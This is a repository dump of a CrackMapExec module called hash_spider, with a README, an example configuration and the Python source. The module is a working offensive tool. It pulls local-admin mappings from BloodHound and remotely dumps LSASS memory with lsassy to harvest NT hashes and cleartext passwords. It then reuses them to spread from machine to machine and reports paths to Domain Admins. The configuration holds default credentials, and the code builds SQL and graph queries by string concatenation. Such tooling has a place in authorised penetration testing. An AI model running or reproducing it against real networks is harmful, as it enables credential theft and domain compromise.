├── README.md ├── cme.conf └── hash_spider.py /README.md: -------------------------------------------------------------------------------- 1 | # hash_spider 2 | A module for CME that spiders hashes across the domain with a given hash. 3 | 4 | # Setup 5 | Simply copy the hash_spider.py module to your CME module folder. Requires access to a BloodHound database configured in ~/.cme/cme.conf. Please see the included example. 6 | 7 | # Usage 8 | Run CME against a PC your user has local admin access to and call the hash_spider module. 9 | ``` 10 | cme smb -u -p -M hash_spider 11 | ``` 12 | hash_spider 13 | -------------------------------------------------------------------------------- /cme.conf: -------------------------------------------------------------------------------- 1 | [CME] 2 | workspace = default 3 | last_used_db = 4 | pwn3d_label = Pwn3d! 5 | audit_mode = 6 | 7 | [BloodHound] 8 | bh_enabled = False 9 | bh_uri = 127.0.0.1 10 | bh_port = 7687 11 | bh_user = neo4j 12 | bh_pass = neo4j 13 | 14 | [Empire] 15 | api_host = 127.0.0.1 16 | api_port = 1337 17 | username = empireadmin 18 | password = Password123! 19 | 20 | [Metasploit] 21 | rpc_host = 127.0.0.1 22 | rpc_port = 55552 23 | password = abc123 24 | -------------------------------------------------------------------------------- /hash_spider.py: -------------------------------------------------------------------------------- 1 | # Author: 2 | # Peter Gormington @hackerm00n on Twitter 3 | 4 | import sqlite3 5 | import configparser 6 | from sys import exit 7 | from neo4j import GraphDatabase, basic_auth 8 | from neo4j.exceptions import AuthError, ServiceUnavailable 9 | from lsassy import logger 10 | from lsassy.dumper import Dumper 11 | from lsassy.parser import Parser 12 | from lsassy.session import Session 13 | from lsassy.impacketfile import ImpacketFile 14 | 15 | 16 | credentials_data = [] 17 | admin_results = [] 18 | found_users = [] 19 | reported_da = [] 20 | 21 | def neo4j_conn(context, connection, driver): 22 | if connection.config.get('BloodHound', 'bh_enabled') != "False": 23 | context.log.info("Connecting to Neo4j/Bloodhound.") 24 | try: 25 | session = driver.session() 26 | list(session.run("MATCH (g:Group) return g LIMIT 1")) 27 | context.log.info("Connection Successful!") 28 | except AuthError as e: 29 | context.log.error("Invalid credentials.") 30 | except ServiceUnavailable as e: 31 | context.log.error("Could not connect to neo4j database.") 32 | except Exception as e: 33 | context.log.error("Error querying domain admins") 34 | print(e) 35 | else: 36 | context.log.highlight("BloodHound not marked enabled. Check cme.conf") 37 | exit() 38 | 39 | def neo4j_local_admins(context, driver): 40 | global admin_results 41 | try: 42 | session = driver.session() 43 | admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts 44 | context.log.info("Admins and PCs obtained.") 45 | except Exception: 46 | context.log.error("Could not pull admins.") 47 | exit() 48 | admin_results = [record for record in admins.data()] 49 | 50 | def create_db(local_admins, dbconnection, cursor): 51 | cursor.execute('''CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)''') 52 | for result in local_admins: 53 | cursor.execute("INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)", (result.get('COMPUTER'),str(result.get('USERS'),),'FALSE')) 54 | dbconnection.commit() 55 | cursor.execute('''CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)''') 56 | admin_users = [] 57 | for result in local_admins: 58 | for user in result.get('USERS'): 59 | if user not in admin_users: 60 | admin_users.append(user) 61 | for user in admin_users: 62 | cursor.execute('''INSERT OR IGNORE INTO admin_users(username) VALUES(?)''', [user]) 63 | dbconnection.commit() 64 | 65 | def process_creds(context, connection, credentials_data, dbconnection, cursor, driver): 66 | context.log.extra['host'] = connection.domain 67 | context.log.extra['hostname'] = connection.host.upper() 68 | for result in credentials_data: 69 | username = result["username"].upper().split('@')[0] 70 | nthash = result["nthash"] 71 | password = result["password"] 72 | if result["password"] != None: 73 | context.log.success(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") 74 | cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password]) 75 | username = (f"{username.upper()}@{connection.domain.upper()}") 76 | dbconnection.commit() 77 | session = driver.session() 78 | session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') 79 | if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash =='31d6cfe0d16ae931b73c59d7e0c089c0': 80 | context.log.error(f"Hash for {username} is expired.") 81 | elif username not in found_users and nthash != None: 82 | context.log.success(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") 83 | found_users.append(username) 84 | cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash]) 85 | dbconnection.commit() 86 | username = (f"{username.upper()}@{connection.domain.upper()}") 87 | session = driver.session() 88 | session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') 89 | path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") 90 | paths = [record for record in path_to_da.data()] 91 | for path in paths: 92 | if path: 93 | for key,value in path.items(): 94 | for item in value: 95 | if type(item) == dict: 96 | if {item['name']} not in reported_da: 97 | context.log.success(f"You have a valid path to DA as {item['name']}.") 98 | reported_da.append({item['name']}) 99 | exit() 100 | 101 | def initial_run(connection, cursor): 102 | username = connection.username 103 | password = getattr(connection, "password", "") 104 | nthash = getattr(connection, "nthash", "") 105 | cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password]) 106 | cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash]) 107 | 108 | class CMEModule: 109 | name = 'hash_spider' 110 | description = "Dump lsass recursively from a given hash using BH to find local admins" 111 | supported_protocols = ['smb'] 112 | opsec_safe = True 113 | multiple_hosts = True 114 | 115 | def options(self, context, module_options): 116 | """ 117 | METHOD Method to use to dump lsass.exe with lsassy 118 | RESET_DUMPED Allows re-dumping of computers. (Default: False) 119 | """ 120 | self.method = 'comsvcs' 121 | if 'METHOD' in module_options: 122 | self.method = module_options['METHOD'] 123 | self.reset_dumped = module_options.get('RESET_DUMPED', False) 124 | if self.reset_dumped != False: 125 | try: 126 | cursor.execute("UPDATE pc_and_admins SET dumped = 'False'") 127 | context.log.info("PCs can be dumped again.") 128 | except Exception: 129 | pass 130 | 131 | def run_lsassy(self, context, connection): # Couldn't figure out how to properly retrieve output from the module without editing. Blatantly ripped from lsassy_dump.py. Thanks pixis - @hackanddo! 132 | logger.init(quiet=True) 133 | host = connection.host 134 | domain_name = connection.domain 135 | username = connection.username 136 | password = getattr(connection, "password", "") 137 | lmhash = getattr(connection, "lmhash", "") 138 | nthash = getattr(connection, "nthash", "") 139 | session = Session() 140 | session.get_session( 141 | address=host, 142 | target_ip=host, 143 | port=445, 144 | lmhash=lmhash, 145 | nthash=nthash, 146 | username=username, 147 | password=password, 148 | domain=domain_name 149 | ) 150 | if session.smb_session is None: 151 | context.log.error("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") 152 | cursor.execute("UPDATE admin_users SET hash = NULL WHERE username LIKE '" + username + "'") 153 | return False 154 | dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) 155 | if dumper is None: 156 | context.log.error("Unable to load dump method '{}'".format(self.method)) 157 | return False 158 | file = dumper.dump() 159 | if file is None: 160 | context.log.error("Unable to dump lsass") 161 | return False 162 | credentials, tickets, masterkeys = Parser(file).parse() 163 | file.close() 164 | ImpacketFile.delete(session, file.get_file_path()) 165 | if credentials is None: 166 | credentials = [] 167 | credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")] 168 | credentials_unique = [] 169 | credentials_output = [] 170 | for cred in credentials: 171 | if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique: 172 | credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]]) 173 | credentials_output.append(cred) 174 | global credentials_data 175 | credentials_data = credentials_output 176 | 177 | def spider_pcs(self, context, connection, cursor, dbconnection, driver): 178 | cursor.execute("SELECT * from admin_users WHERE hash is not NULL") 179 | compromised_users = cursor.fetchall() 180 | cursor.execute("SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'") 181 | admin_access = cursor.fetchall() 182 | for user in compromised_users: 183 | for pc in admin_access: 184 | if user[0] in pc[1]: 185 | cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") 186 | more_to_dump = cursor.fetchall() 187 | if len(more_to_dump) > 0: 188 | context.log.info(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") 189 | setattr(connection, "host", pc[0].split('.')[0]) 190 | setattr(connection, "username", user[0].split('@')[0]) 191 | setattr(connection, "nthash", user[1]) 192 | try: 193 | self.run_lsassy(context, connection) 194 | cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") 195 | except Exception: 196 | context.log.error(f"Failed to dump lsassy on {pc[0]}") 197 | process_creds(context, connection, credentials_data, dbconnection, cursor, driver) 198 | self.spider_pcs(context, connection, cursor, dbconnection, driver) 199 | if len(admin_access) > 0: 200 | context.log.error("No more local admin access known. Please try re-running Bloodhound with newly found accounts.") 201 | exit() 202 | 203 | def on_admin_login(self, context, connection): 204 | db_path = connection.config.get('CME', 'workspace') 205 | dbconnection = sqlite3.connect(db_path, check_same_thread=False, isolation_level=None) # Sqlite DB will be saved at ./CrackMapExec/default if name in cme.conf is default 206 | cursor = dbconnection.cursor() 207 | neo4j_user = connection.config.get('BloodHound', 'bh_user') 208 | neo4j_pass = connection.config.get('BloodHound', 'bh_pass') 209 | neo4j_uri = connection.config.get('BloodHound', 'bh_uri') 210 | neo4j_port = connection.config.get('BloodHound', 'bh_port') 211 | neo4j_db = "bolt://" + neo4j_uri + ":" + neo4j_port 212 | driver = GraphDatabase.driver(neo4j_db, auth = basic_auth(neo4j_user, neo4j_pass), encrypted=False) 213 | neo4j_conn(context, connection, driver) 214 | neo4j_local_admins(context, driver) 215 | create_db(admin_results, dbconnection, cursor) 216 | initial_run(connection, cursor) 217 | context.log.info("Running lsassy.") 218 | self.run_lsassy(context, connection) 219 | process_creds(context, connection, credentials_data, dbconnection, cursor, driver) 220 | context.log.info("🕷️ Starting to spider. 🕷️") 221 | self.spider_pcs(context, connection, cursor, dbconnection, driver) 222 | --------------------------------------------------------------------------------